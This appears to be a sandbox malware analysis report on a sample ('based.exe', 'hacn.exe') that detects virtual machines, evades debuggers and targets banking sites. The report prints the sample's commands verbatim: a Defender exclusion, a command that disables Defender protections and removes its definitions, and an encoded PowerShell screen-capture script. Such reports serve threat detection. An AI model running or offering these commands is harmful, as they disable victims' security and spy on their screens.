Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: based.exe, 0000000C.00000003.1467092997.0000021B5C7B3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1589034164.0000021B5C7B3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1582472838.0000021B5CF1A000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1702661556.0000021B5C7B1000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1468182488.0000021B5C6BB000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1465474869.0000021B5CF1A000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1467092997.0000021B5C792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Build.exe, 00000008.00000002.1317091761.0000000008912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}A
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareuserZ
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qemu-gaZ
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwarec
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretrayZ
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer5Z
Source: based.exe, 0000000C.00000003.1583062953.0000021B5C815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: hacn.exe, 0000000D.00000003.1603459899.00000243EDF53000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1603507274.00000243EDF74000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1606316445.00000243EDF75000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591501443.00000243EDF52000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1587327438.00000243EDF2B000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1590689018.00000243EDF2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

API call chain: ExitProcess graph end node

graph_8-26453

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Anti Debugging

Hides threads from debuggers

Source: C:\ProgramData\Microsoft\hacn.exe

Thread information set: HideFromDebugger

Jump to behavior

Source: C:\Users\user\Desktop\svchost.exe

Code function: 0_2_00007FF67118B5CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF67118B5CC

Source: C:\ProgramData\Microsoft\based.exe

Code function: 12_2_00007FFB0B722F80 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

12_2_00007FFB0B722F80

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

Code function: 8_2_00BCA640 mov eax, dword ptr fs:[00000030h]

8_2_00BCA640

Source: C:\Users\user\Desktop\svchost.exe

Code function: 0_2_00007FF6711A28B0 GetProcessHeap,

0_2_00007FF6711A28B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67118B5CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF67118B5CC
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671199E30 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF671199E30
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67118B7B0 SetUnhandledExceptionFilter,	0_2_00007FF67118B7B0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67118AFB4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF67118AFB4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF67118B5CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF67118B5CC
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671199E30 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF671199E30
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF67118B7B0 SetUnhandledExceptionFilter,	7_2_00007FF67118B7B0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF67118AFB4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FF67118AFB4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FFB1C30004C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FFB1C30004C
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BC215D SetUnhandledExceptionFilter,	8_2_00BC215D
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BC12D7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00BC12D7
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BC647F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00BC647F
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BC1FCA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00BC1FCA
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670B8D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF670B8D19C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670B8D37C SetUnhandledExceptionFilter,	9_2_00007FF670B8D37C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670B9A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF670B9A684
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670B8C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF670B8C910
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7CAFB4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00007FF64E7CAFB4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7CB7B0 SetUnhandledExceptionFilter,	11_2_00007FF64E7CB7B0
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7CB5CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF64E7CB5CC
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7D9E30 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF64E7D9E30
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7CAFB4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FF64E7CAFB4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7CB7B0 SetUnhandledExceptionFilter,	12_2_00007FF64E7CB7B0
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7CB5CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FF64E7CB5CC
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7D9E30 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FF64E7D9E30
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FFB0B7142B0 IsProcessorFeaturePresent,00007FFB1BB119A0,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFB1BB119A0,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FFB0B7142B0
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FFB16796024 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FFB16796024
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FFB1AB0A978 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FFB1AB0A978
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FFB1BB2004C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FFB1BB2004C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670B8D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00007FF670B8D19C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670B8D37C SetUnhandledExceptionFilter,	13_2_00007FF670B8D37C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670B9A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00007FF670B9A684
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670B8C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FF670B8C910
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01EA1A88 SetUnhandledExceptionFilter,	13_2_00007FFB01EA1A88
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01EA0C9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FFB01EA0C9C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01EA18A0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00007FFB01EA18A0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01ECF5F4 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00007FFB01ECF5F4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01ECE4DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FFB01ECE4DC
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01ECF7DC SetUnhandledExceptionFilter,	13_2_00007FFB01ECF7DC
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01F93028 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00007FFB01F93028
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01F92A60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FFB01F92A60
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB021B4050 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FFB021B4050
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232009 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00007FFB02232009

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
